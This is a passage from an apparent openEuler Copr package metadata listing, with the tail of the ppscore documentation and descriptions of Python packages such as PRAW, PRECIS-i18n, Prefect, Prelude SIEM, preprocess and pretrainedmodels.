      If the value is set, the results will be reproducible. If the value is `None` a new random number is drawn at the start of each calculation.
  - __invalid_score__ : any
      - The score that is returned when a calculation is not valid, e.g. because the data type was not supported.
  - __catch_errors__ : bool
      - If `True` all errors will be catched and reported as `unknown_error` which ensures convenience. If `False` errors will be raised. This is helpful for inspecting and debugging errors.




  - __Dict__:
      - A dict that contains multiple fields about the resulting PPS.
      The dict enables introspection into the calculations that have been performed under the hood




  Calculate the Predictive Power Score (PPS) for all columns in the dataframe against a target (y) column


  - __df__ : pandas.DataFrame
      - The dataframe that contains the data
  - __y__ : str
      - Name of the column y which acts as the target
  - __output__ : str - potential values: "df", "list"
      - Control the type of the output. Either return a df or a list with all the PPS score dicts
  - __sorted__ : bool
      - Whether or not to sort the output dataframe/list by the ppscore
  - __kwargs__ :
      - Other key-word arguments that shall be forwarded to the pps.score method, e.g. __sample__, __cross_validation__, __random_seed__, __invalid_score__, __catch_errors__



  - __pandas.DataFrame__ or list of PPS dicts:
      - Either returns a df or a list of all the PPS dicts. This can be influenced by the output argument




  Calculate the Predictive Power Score (PPS) matrix for all columns in the dataframe



  - __df__ : pandas.DataFrame
      - The dataframe that contains the data
  - __output__ : str - potential values: "df", "list"
      - Control the type of the output. Either return a df or a list with all the PPS score dicts
  - __sorted__ : bool
      - Whether or not to sort the output dataframe/list by the ppscore
  - __kwargs__ :
      - Other key-word arguments that shall be forwarded to the pps.score method, e.g. __sample__, __cross_validation__, __random_seed__, __invalid_score__, __catch_errors__



  - __pandas.DataFrame__ or list of PPS dicts:
      - Either returns a df or a list of all the PPS dicts. This can be influenced by the output argument




  > If you are uncertain about some details, feel free to jump into the code to have a look at the exact implementation

  There are multiple ways how you can calculate the PPS. The ppscore package provides a sample implementation that is based on the following calculations:

  - The score is calculated using only 1 feature trying to predict the target column. This means there are no interaction effects between the scores of various features. Note that this is in contrast to feature importance
  - The score is calculated on the test sets of a 4-fold cross-validation (number is adjustable via `cross_validation`). For classification, stratifiedKFold is used. For regression, normal KFold. Please note that __this sampling might not be valid for time series data sets__
  - All rows which have a missing value in the feature or the target column are dropped
  - In case that the dataset has more than 5,000 rows the score is only calculated on a random subset of 5,000 rows. You can adjust the number of rows or skip this sampling via `sample`. However, in most scenarios the results will be very similar
  - There is no grid search for optimal model parameters
  - The result might change between calculations because the calculation contains random elements, e.g. the sampling of the rows or the shuffling of the rows before cross-validation. If you want to make sure that your results are reproducible you can set the random seed (`random_seed`).
  - If the score cannot be calculated, the package will not raise an error but return an object where `is_valid_score` is `False`. The reported score will be `invalid_score`. We chose this behavior because we want to give you a quick overview where significant predictive power exists without you having to handle errors or edge cases. However, when you want to explicitly handle the errors, you can still do so.



  As a learning algorithm, we currently use a Decision Tree because the Decision Tree has the following properties:
  - can detect any non-linear bivariate relationship
  - good predictive power in a wide variety of use cases
  - low requirements for feature preprocessing
  - robust model which can handle outliers and does not easily overfit
  - can be used for classification and regression
  - can be calculated quicker than many other algorithms

  We differentiate the exact implementation based on the data type of the target column:
  - If the target column is numeric, we use the sklearn.DecisionTreeRegressor
  - If the target column is categoric, we use the sklearn.DecisionTreeClassifier

  > Please note that we prefer a general good performance on a wide variety of use cases over better performance in some narrow use cases. If you have a proposal for a better/different learning algorithm, please open an issue

  However, please note why we actively decided against the following algorithms:

  - Correlation or Linear Regression: cannot detect non-linear bivariate relationships without extensive preprocessing
  - GAMs: might have problems with very unsmooth functions
  - SVM: potentially bad performance if the wrong kernel is selected
  - Random Forest/Gradient Boosted Tree: slower than a single Decision Tree
  - Neural Networks and Deep Learning: slower calculation than a Decision Tree and also needs more feature preprocessing



  Even though the Decision Tree is a very flexible learning algorithm, we need to perform the following preprocessing steps if a column represents categoric values - that means it has the pandas dtype `object`, `category`, `string` or `boolean`.‌
  - If the target column is categoric, we use the `sklearn.LabelEncoder​`
  - If the feature column is categoric, we use the `sklearn.OneHotEncoder​`




  > This logic was updated in version 1.0.0.

  The choice of the case (`classification` or `regression`) has an influence on the final PPS and thus it is important that the correct case is chosen. The case is chosen based on the data types of the columns. That means, e.g. if you want to change the case from `regression` to `classification` that you have to change the data type from `float` to `string`.

  Here are the two main cases:
  - A __classification__ is chosen if the target has the dtype `object`, `category`, `string` or `boolean`
  - A __regression__ is chosen if the target has the dtype `float` or `int`




  Each case uses a different evaluation score for calculating the final predictive power score (PPS).



  In case of an regression, the ppscore uses the mean absolute error (MAE) as the underlying evaluation metric (MAE_model). The best possible score of the MAE is 0 and higher is worse. As a baseline score, we calculate the MAE of a naive model (MAE_naive) that always predicts the median of the target column. The PPS is the result of the following normalization (and never smaller than 0):
  > PPS = 1 - (MAE_model / MAE_naive)



  If the task is a classification, we compute the weighted F1 score (wF1) as the underlying evaluation metric (F1_model). The F1 score can be interpreted as a weighted average of the precision and recall, where an F1 score reaches its best value at 1 and worst score at 0. The relative contribution of precision and recall to the F1 score are equal. The weighted F1 takes into account the precision and recall of all classes weighted by their support as described [here](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html). As a baseline score (F1_naive), we calculate the weighted F1 score for a model that always predicts the most common class of the target column (F1_most_common) and a model that predicts random values (F1_random). F1_naive is set to the maximum of F1_most_common and F1_random. The PPS is the result of the following normalization (and never smaller than 0):
  > PPS = (F1_model - F1_naive) / (1 - F1_naive)



  There are various cases in which the PPS can be defined without fitting a model to save computation time or in which the PPS cannot be calculated at all. Those cases are described below.


  In the following cases, the PPS is defined but we can save ourselves the computation time:
  - __feature_is_id__ means that the feature column is categoric (see above for __classification__) and that all categories appear only once. Such a feature can never predict a target during cross-validation and thus the PPS is 0.
  - __target_is_id__ means that the target column is categoric (see above for __classification__) and that all categories appear only once. Thus, the PPS is 0 because an ID column cannot be predicted by any other column as part of a cross-validation. There still might be a 1 to 1 relationship but this is not detectable by the current implementation of the PPS.
  - __target_is_constant__ means that the target column only has a single value and thus the PPS is 0 because any column and baseline can perfectly predict a column that only has a single value. Therefore, the feature does not add any predictive power and we want to communicate that.
  - __predict_itself__ means that the feature and target columns are the same and thus the PPS is 1 because a column can always perfectly predict its own value. Also, this leads to the typical diagonal of 1 that we are used to from the correlation matrix.


  In the following cases, the PPS is not defined and the score is set to `invalid_score`:
  - __target_is_datetime__ means that the target column has a datetime data type which is not supported. A possible solution might be to convert the target column to a string column.
  - __target_data_type_not_supported__ means that the target column has a data type which is not supported. A possible solution might be to convert the target column to another data type.
  - __empty_dataframe_after_dropping_na__ occurs when there are no valid rows left after rows with missing values have been dropped. A possible solution might be to replace the missing values with valid values.
  - Last but not least, __unknown_error__ occurs for all other errors that might raise an exception. This case is only reported when `catch_errors` is `True`. If you want to inspect or debug the underlying error, please set `catch_errors` to `False`.


  [![DOI](https://zenodo.org/badge/256518683.svg)](https://zenodo.org/badge/latestdoi/256518683)


  ppscore is developed by [8080 Labs](https://8080labs.com) - we create tools for Python Data Scientists. If you like `ppscore` you might want to check out our other project [bamboolib - a GUI for pandas DataFrames](https://bamboolib.com)


pkgId: 95da7cc584862fc61e0c7b5c886f360fbf0aae922dc09f47add845641e53535f
name: python-praw
arch: src
version: 7.7.0
epoch: 0
release: 1
url: https://pypi.org/project/praw/
rpm_license: Simplified BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-67a0e54b-3b85-464b-a331-3284940381c1
location_href: 00004590-python-praw/python-praw-7.7.0-1.src.rpm
checksum_type: sha256
summary:
  PRAW, an acronym for "Python Reddit API Wrapper", is a python package that allows for simple access to  Reddit's API.

description:
  PRAW, an acronym for "Python Reddit API Wrapper", is a Python package that allows for
  simple access to Reddit's API. PRAW aims to be easy to use and internally follows all of
  `Reddit's API rules <https://github.com/reddit/reddit/wiki/API>`_. With PRAW there's no
  need to introduce ``sleep`` calls in your code. Give your client an appropriate user
  agent and you're set.


pkgId: 23800447c0e3f4038396415908e7ee19ea77eb15d14bd3597ace0f4dd5a77bf9
name: python-precis-i18n
arch: src
version: 1.0.5
epoch: 0
release: 1
summary: PRECIS-i18n: Internationalized Usernames and Passwords
url: https://github.com/byllyfish/precis_i18n
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-56226e3d-8071-4c91-a776-e18035731440
location_href: 00004592-python-precis_i18n/python-precis-i18n-1.0.5-1.src.rpm
checksum_type: sha256
description:
  |MIT licensed| |Build Status| |codecov.io|
  If you want your application to accept Unicode user names and passwords,
  you must be careful in how you validate and compare them. The PRECIS
  framework makes internationalized user names and passwords safer for use
  by applications. PRECIS profiles transform Unicode strings into a
  canonical form, suitable for comparison.
  This module implements the PRECIS Framework as described in:
  -  PRECIS Framework: Preparation, Enforcement, and Comparison of
     Internationalized Strings in Application Protocols (`RFC
     8264 <https://tools.ietf.org/html/rfc8264>`__)
  -  Preparation, Enforcement, and Comparison of Internationalized Strings
     Representing Usernames and Passwords (`RFC
     8265 <https://tools.ietf.org/html/rfc8265>`__)
  -  Preparation, Enforcement, and Comparison of Internationalized Strings
     Representing Nicknames (`RFC
     8266 <https://tools.ietf.org/html/rfc8266>`__)
  Requires Python 3.3 or later.


pkgId: dd32482adb8b5d3cf1fe535d95ce5893dd24d31be3ecdb91cf21dde0c5d83a5a
name: python-prefect
arch: src
version: 2.10.2
epoch: 0
release: 1
summary: Workflow orchestration and management.
url: https://www.prefect.io
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cddaad93-690f-40bb-b30a-77d62e8c09f8
location_href: 00010818-python-prefect/python-prefect-2.10.2-1.src.rpm
checksum_type: sha256
description:
  <p align="center"><img src="https://images.ctfassets.net/gm98wzqotmnx/6rIpC9ZCAewsRGLwOw5BRe/bb17e1ef62f60d1ec32c1ae69487704c/prefect-2-logo-dark.png" width=1000></p>

  <p align="center">
      <a href="https://pypi.python.org/pypi/prefect/" alt="PyPI version">
          <img alt="PyPI" src="https://img.shields.io/pypi/v/prefect?color=0052FF&labelColor=090422"></a>
      <a href="https://github.com/prefecthq/prefect/" alt="Stars">
          <img src="https://img.shields.io/github/stars/prefecthq/prefect?color=0052FF&labelColor=090422" /></a>
      <a href="https://pepy.tech/badge/prefect/" alt="Downloads">
          <img src="https://img.shields.io/pypi/dm/prefect?color=0052FF&labelColor=090422" /></a>
      <a href="https://github.com/prefecthq/prefect/pulse" alt="Activity">
          <img src="https://img.shields.io/github/commit-activity/m/prefecthq/prefect?color=0052FF&labelColor=090422" /></a>
      <br>
      <a href="https://prefect-community.slack.com" alt="Slack">
          <img src="https://img.shields.io/badge/slack-join_community-red.svg?color=0052FF&labelColor=090422&logo=slack" /></a>
      <a href="https://discourse.prefect.io/" alt="Discourse">
          <img src="https://img.shields.io/badge/discourse-browse_forum-red.svg?color=0052FF&labelColor=090422&logo=discourse" /></a>
      <a href="https://www.youtube.com/c/PrefectIO/" alt="YouTube">
          <img src="https://img.shields.io/badge/youtube-watch_videos-red.svg?color=0052FF&labelColor=090422&logo=youtube" /></a>
  </p>



  Prefect is an orchestrator for data-intensive workflows. It's the simplest way to transform any Python function into a unit of work that can be observed and orchestrated. With Prefect, you can build resilient, dynamic workflows that react to the world around them and recover from unexpected changes. With just a few decorators, Prefect supercharges your code with features like automatic retries, distributed execution, scheduling, caching, and much more. Every activity is tracked and can be monitored with the Prefect server or Prefect Cloud dashboard.

  ```python
  from prefect import flow, task
  from typing import List
  import httpx


  @task(retries=3)
  def get_stars(repo: str):
      url = f"https://api.github.com/repos/{repo}"
      count = httpx.get(url).json()["stargazers_count"]
      print(f"{repo} has {count} stars!")


  @flow(name="GitHub Stars")
  def github_stars(repos: List[str]):
      for repo in repos:
          get_stars(repo)



  github_stars(["PrefectHQ/Prefect"])
  ```

  After running some flows, fire up the Prefect UI to see what happened:

  ```bash
  prefect server start
  ```

  ![](/docs/img/ui/flow-run-page.png)

  From here, you can continue to use Prefect interactively or [deploy your flows](https://docs.prefect.io/concepts/deployments) to remote envirnments, running on a scheduled or event-driven basis.



  Prefect requires Python 3.7 or later. To [install Prefect](https://docs.prefect.io/getting-started/installation/), run the following command in a shell or terminal session:

  ```bash
  pip install prefect
  ```

  Start by then exploring the [core concepts of Prefect workflows](https://docs.prefect.io/concepts/), then follow one of our [friendly tutorials](https://docs.prefect.io/tutorials/first-steps) to learn by example.



  Prefect is made possible by the fastest growing community of thousands of friendly data engineers. Join us in building a new kind of workflow system. The [Prefect Slack community](https://prefect.io/slack) is a fantastic place to learn more abou Prefect, ask questions, or get help with workflow design. The [Prefect Discourse](https://discourse.prefect.io/) is an community-driven knowledge base to find answers to your Prefect-related questions. All community forums, including code contributions, issue discussions, and slack messages are subject to our [Code of Conduct](https://discourse.prefect.io/faq).



  See our [documentation on contributing to Prefect](https://docs.prefect.io/contributing/overview/).

  Thanks for being part of the mission to build a new kind of workflow system and, of course, **happy engineering!**


pkgId: 1edcee0c22c5ef1f64ee18dbde2c898c833e443405a2027cb3dc76b56b586d49
name: python-prelude
arch: src
version: 5.1.1
epoch: 0
release: 1
summary: Python bindings for the Prelude Library
url: https://www.prelude-siem.org
rpm_license: GPL V2.1
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8c1387ad-cb9c-43ec-9853-1448a7158399
location_href: 00004593-python-prelude/python-prelude-5.1.1-1.src.rpm
checksum_type: sha256
description:
  Prelude is a Universal "Security Information & Event Management" (SIEM) system.
  Prelude collects, normalizes, sorts, aggregates, correlates and reports all
  security-related events independently of the product brand or license giving
  rise to such events; Prelude is "agentless".
  As well as being capable of recovering any type of log (system logs, syslog,
  flat files, etc.), Prelude benefits from a native support with a number of
  systems dedicated to enriching information even further (snort, samhain, ossec,
  auditd, etc.).
  Prelude standardizes all the notables or suspicious events to `IDMEF`_
  standard format (RFC 4765). With this format, events are enriched to facilitate
  automation and correlation processes but also to provide as much information to
  the operator (contextualization alerts) to allow it to respond quickly and
  effectively.
  Libprelude is a collection of generic functions providing communication between
  all Sensors, like IDS (Intrusion Detection System), and the Prelude Manager. It
  provides a convenient interface for sending and receiving IDMEF (Information
  and Event Message Exchange Format) alerts to Prelude Manager with transparent
  SSL, fail-over and replication support, asynchronous events and timer
  interfaces, an abstracted configuration API (hooking at the command-line, the
  configuration line, or wide configuration, available from the Manager), and a
  generic plugin API. It allows you to easily turn your favorite security program
  into a Prelude sensor.


pkgId: ddb617b7036b3b46c33f757c790ed4b423d697731fbe268fddd596f60e9d49a9
name: python-preprocess
arch: src
version: 2.0.0
epoch: 0
release: 1
summary: preprocess: a multi-language preprocessor
url: http://github.com/doconce/preprocess/
rpm_license: http://www.opensource.org/licenses/mit-license.php
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3e0f4388-62e7-49eb-bd06-4b0680cb4538
location_href: 00004596-python-preprocess/python-preprocess-2.0.0-1.src.rpm
checksum_type: sha256
description:
  There are millions of templating systems out there (most of them
  developed for the web). This isn't one of those, though it does share
  some basics: a markup syntax for templates that are processed to give
  resultant text output.  The main difference with `preprocess.py` is
  that its syntax is hidden in comments (whatever the syntax for comments
  maybe in the target filetype) so that the file can still have valid
  syntax. A comparison with the C preprocessor is more apt.

  `preprocess.py` is targetted at build systems that deal with many
  types of files. Languages for which it works include: C++, Python,
  Perl, Tcl, XML, JavaScript, CSS, IDL, TeX, Fortran, PHP, Java, Shell
  scripts (Bash, CSH, etc.) and C#. Preprocess is usable both as a
  command line app and as a Python module.


pkgId: 41592cf3401e4e3c935d09808b683b402ced01cd99cba1aa8b95b8c4adce2008
name: python-pretrainedmodels
arch: src
version: 0.7.4
epoch: 0
release: 1
summary: Pretrained models for Pytorch
url: https://github.com/cadene/pretrained-models.pytorch
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-66f441ef-ea68-45d9-8923-3b900d628910
location_href: 00012194-python-pretrainedmodels/python-pretrainedmodels-0.7.4-1.src.rpm
checksum_type: sha256
description:
  PNASNet-5-Large | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 82.858 | 96.182
  [PNASNet-5-Large](https://github.com/Cadene/pretrained-models.pytorch#pnasnet) | Our porting | 82.736 | 95.992
  NASNet-A-Large | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 82.693 | 96.163
  [NASNet-A-Large](https://github.com/Cadene/pretrained-models.pytorch#nasnet) | Our porting | 82.566 | 96.086
  SENet154 | [Caffe](https://github.com/hujie-frank/SENet) | 81.32 | 95.53
  [SENet154](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 81.304 | 95.498
  PolyNet | [Caffe](https://github.com/CUHK-MMLAB/polynet) | 81.29 | 95.75
  [PolyNet](https://github.com/Cadene/pretrained-models.pytorch#polynet) | Our porting | 81.002 | 95.624
  InceptionResNetV2 | [Tensorflow](https://github.com/tensorflow/models/tree/master/slim) | 80.4 | 95.3
  InceptionV4 | [Tensorflow](https://github.com/tensorflow/models/tree/master/slim) | 80.2 | 95.3
  [SE-ResNeXt101_32x4d](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 80.236 | 95.028
  SE-ResNeXt101_32x4d | [Caffe](https://github.com/hujie-frank/SENet) | 80.19 | 95.04
  [InceptionResNetV2](https://github.com/Cadene/pretrained-models.pytorch#inception) | Our porting | 80.170 | 95.234
  [InceptionV4](https://github.com/Cadene/pretrained-models.pytorch#inception) | Our porting | 80.062 | 94.926
  [DualPathNet107_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.746 | 94.684
  ResNeXt101_64x4d | [Torch7](https://github.com/facebookresearch/ResNeXt) | 79.6 | 94.7
  [DualPathNet131](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.432 | 94.574
  [DualPathNet92_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.400 | 94.620
  [DualPathNet98](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.224 | 94.488
  [SE-ResNeXt50_32x4d](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 79.076 | 94.434
  SE-ResNeXt50_32x4d | [Caffe](https://github.com/hujie-frank/SENet) | 79.03 | 94.46
  [Xception](https://github.com/Cadene/pretrained-models.pytorch#xception) | [Keras](https://github.com/keras-team/keras/blob/master/keras/applications/xception.py) | 79.000 | 94.500
  [ResNeXt101_64x4d](https://github.com/Cadene/pretrained-models.pytorch#resnext) | Our porting | 78.956 | 94.252
  [Xception](https://github.com/Cadene/pretrained-models.pytorch#xception) | Our porting | 78.888 | 94.292
  ResNeXt101_32x4d | [Torch7](https://github.com/facebookresearch/ResNeXt) | 78.8 | 94.4
  SE-ResNet152 | [Caffe](https://github.com/hujie-frank/SENet) | 78.66 | 94.46
  [SE-ResNet152](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 78.658 | 94.374
  ResNet152 | [Pytorch](https://github.com/pytorch/vision#models) | 78.428 | 94.110
  [SE-ResNet101](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 78.396 | 94.258
  SE-ResNet101 | [Caffe](https://github.com/hujie-frank/SENet) | 78.25 | 94.28
  [ResNeXt101_32x4d](https://github.com/Cadene/pretrained-models.pytorch#resnext) | Our porting | 78.188 | 93.886
  FBResNet152 | [Torch7](https://github.com/facebook/fb.resnet.torch) | 77.84 | 93.84
  SE-ResNet50 | [Caffe](https://github.com/hujie-frank/SENet) | 77.63 | 93.64
  [SE-ResNet50](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 77.636 | 93.752
  [DenseNet161](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.560 | 93.798
  [ResNet101](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.438 | 93.672
  [FBResNet152](https://github.com/Cadene/pretrained-models.pytorch#facebook-resnet) | Our porting | 77.386 | 93.594
  [InceptionV3](https://github.com/Cadene/pretrained-models.pytorch#inception) | [Pytorch](https://github.com/pytorch/vision#models) | 77.294 | 93.454
  [DenseNet201](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.152 | 93.548
  [DualPathNet68b_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 77.034 | 93.590
  [CaffeResnet101](https://github.com/Cadene/pretrained-models.pytorch#caffe-resnet) | [Caffe](https://github.com/KaimingHe/deep-residual-networks) | 76.400 | 92.900
  [CaffeResnet101](https://github.com/Cadene/pretrained-models.pytorch#caffe-resnet) | Our porting | 76.200 | 92.766
  [DenseNet169](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 76.026 | 92.992
  [ResNet50](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 76.002 | 92.980
  [DualPathNet68](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 75.868 | 92.774
  [DenseNet121](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 74.646 | 92.136
  [VGG19_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 74.266 | 92.066
  NASNet-A-Mobile | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 74.0 | 91.6
  [NASNet-A-Mobile](https://github.com/veronikayurchuk/pretrained-models.pytorch/blob/master/pretrainedmodels/models/nasnet_mobile.py) | Our porting | 74.080 | 91.740
  [ResNet34](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 73.554 | 91.456
  [BNInception](https://github.com/Cadene/pretrained-models.pytorch#bninception) | Our porting | 73.524 | 91.562
  [VGG16_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 73.518 | 91.608
  [VGG19](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 72.080 | 90.822
  [VGG16](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 71.636 | 90.354
  [VGG13_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 71.508 | 90.494
  [VGG11_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 70.452 | 89.818
  [ResNet18](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 70.142 | 89.274
  [VGG13](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 69.662 | 89.264
  [VGG11](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 68.970 | 88.746
  [SqueezeNet1_1](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 58.250 | 80.800
  [SqueezeNet1_0](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 58.108 | 80.428
  [Alexnet](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 56.432 | 79.194
  Notes:
  - the Pytorch version of ResNet152 is not a porting of the Torch7 but has been retrained by facebook.
  - For the PolyNet evaluation each image was resized to 378x378 without preserving the aspect ratio and then the central 331×331 patch from the resulting image was used.
  Beware, the accuracy reported here is not always representative of the transferable capacity of the network on other tasks and datasets. You must try them all! :P

  Please see [Compute imagenet validation metrics](https://github.com/Cadene/pretrained-models.pytorch#compute-imagenet-validation-metrics)



  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/research/slim)
  - `nasnetalarge(num_classes=1000, pretrained='imagenet')`
  - `nasnetalarge(num_classes=1001, pretrained='imagenet+background')`
  - `nasnetamobile(num_classes=1000, pretrained='imagenet')`

  Source: [Torch7 repo of FaceBook](https://github.com/facebook/fb.resnet.torch)
  There are a bit different from the ResNet* of torchvision. ResNet152 is currently the only one available.
  - `fbresnet152(num_classes=1000, pretrained='imagenet')`

  Source: [Caffe repo of KaimingHe](https://github.com/KaimingHe/deep-residual-networks)
  - `cafferesnet101(num_classes=1000, pretrained='imagenet')`

  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/slim) and [Pytorch/Vision repo](https://github.com/pytorch/vision/tree/master/torchvision) for `inceptionv3`
  - `inceptionresnetv2(num_classes=1000, pretrained='imagenet')`
  - `inceptionresnetv2(num_classes=1001, pretrained='imagenet+background')`
  - `inceptionv4(num_classes=1000, pretrained='imagenet')`
  - `inceptionv4(num_classes=1001, pretrained='imagenet+background')`
  - `inceptionv3(num_classes=1000, pretrained='imagenet')`

  Source: [Trained with Caffe](https://github.com/Cadene/tensorflow-model-zoo.torch/pull/2) by [Xiong Yuanjun](http://yjxiong.me)
  - `bninception(num_classes=1000, pretrained='imagenet')`

  Source: [ResNeXt repo of FaceBook](https://github.com/facebookresearch/ResNeXt)
  - `resnext101_32x4d(num_classes=1000, pretrained='imagenet')`
  - `resnext101_62x4d(num_classes=1000, pretrained='imagenet')`

  Source: [MXNET repo of Chen Yunpeng](https://github.com/cypw/DPNs)
  The porting has been made possible by [Ross Wightman](http://rwightman.com) in his [PyTorch repo](https://github.com/rwightman/pytorch-dpn-pretrained).
  As you can see [here](https://github.com/rwightman/pytorch-dpn-pretrained) DualPathNetworks allows you to try different scales. The default one in this repo is 0.875 meaning that the original input size is 256 before croping to 224.
  - `dpn68(num_classes=1000, pretrained='imagenet')`
  - `dpn98(num_classes=1000, pretrained='imagenet')`
  - `dpn131(num_classes=1000, pretrained='imagenet')`
  - `dpn68b(num_classes=1000, pretrained='imagenet+5k')`
  - `dpn92(num_classes=1000, pretrained='imagenet+5k')`
  - `dpn107(num_classes=1000, pretrained='imagenet+5k')`
  `'imagenet+5k'` means that the network has been pretrained on imagenet5k before being finetuned on imagenet1k.

  Source: [Keras repo](https://github.com/keras-team/keras/blob/master/keras/applications/xception.py)
  The porting has been made possible by [T Standley](https://github.com/tstandley/Xception-PyTorch).
  - `xception(num_classes=1000, pretrained='imagenet')`

  Source: [Caffe repo of Jie Hu](https://github.com/hujie-frank/SENet)
  - `senet154(num_classes=1000, pretrained='imagenet')`
  - `se_resnet50(num_classes=1000, pretrained='imagenet')`
  - `se_resnet101(num_classes=1000, pretrained='imagenet')`
  - `se_resnet152(num_classes=1000, pretrained='imagenet')`
  - `se_resnext50_32x4d(num_classes=1000, pretrained='imagenet')`
  - `se_resnext101_32x4d(num_classes=1000, pretrained='imagenet')`

  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/research/slim)
  - `pnasnet5large(num_classes=1000, pretrained='imagenet')`
  - `pnasnet5large(num_classes=1001, pretrained='imagenet+background')`

  Source: [Caffe repo of the CUHK Multimedia Lab](https://github.com/CUHK-MMLAB/polynet)
  - `polynet(num_classes=1000, pretrained='imagenet')`

  Source: [Pytorch/Vision repo](https://github.com/pytorch/vision/tree/master/torchvision)
  (`inceptionv3` included in [Inception*](https://github.com/Cadene/pretrained-models.pytorch#inception))
  - `resnet18(num_classes=1000, pretrained='imagenet')`
  - `resnet34(num_classes=1000, pretrained='imagenet')`
  - `resnet50(num_classes=1000, pretrained='imagenet')`
  - `resnet101(num_classes=1000, pretrained='imagenet')`
  - `resnet152(num_classes=1000, pretrained='imagenet')`
  - `densenet121(num_classes=1000, pretrained='imagenet')`
  - `densenet161(num_classes=1000, pretrained='imagenet')`
  - `densenet169(num_classes=1000, pretrained='imagenet')`
  - `densenet201(num_classes=1000, pretrained='imagenet')`
  - `squeezenet1_0(num_classes=1000, pretrained='imagenet')`
  - `squeezenet1_1(num_classes=1000, pretrained='imagenet')`
  - `alexnet(num_classes=1000, pretrained='imagenet')`
  - `vgg11(num_classes=1000, pretrained='imagenet')`
  - `vgg13(num_classes=1000, pretrained='imagenet')`
  - `vgg16(num_classes=1000, pretrained='imagenet')`
  - `vgg19(num_classes=1000, pretrained='imagenet')`
  - `vgg11_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg13_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg16_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg19_bn(num_classes=1000, pretrained='imagenet')`

  Once a pretrained model has been loaded, you can use it that way.
  **Important note**: All image must be loaded using `PIL` which scales the pixel values between 0 and 1.

  Attribut of type `list` composed of 3 numbers:
  - number of color channels,
  - height of the input image,
  - width of the input image.
  Example:
  - `[3, 299, 299]` for inception* networks,
  - `[3, 224, 224]` for resnet* networks.

  Attribut of type `str` representating the color space of the image. Can be `RGB` or `BGR`.

  Attribut of type `list` composed of 2 numbers:
  - min pixel value,
  - max pixel value.
  Example:
  - `[0, 1]` for resnet* and inception* networks,
  - `[0, 255]` for bninception network.

  Attribut of type `list` composed of 3 numbers which are used to normalize the input image (substract "color-channel-wise").
  Example:
  - `[0.5, 0.5, 0.5]` for inception* networks,
  - `[0.485, 0.456, 0.406]` for resnet* networks.

  Attribut of type `list` composed of 3 numbers which are used to normalize the input image (divide "color-channel-wise").
  Example:
  - `[0.5, 0.5, 0.5]` for inception* networks,
  - `[0.229, 0.224, 0.225]` for resnet* networks.

  /!\ work in progress (may not be available)
  Method which is used to extract the features from the image.
  Example when the model is loaded using `fbresnet152`:
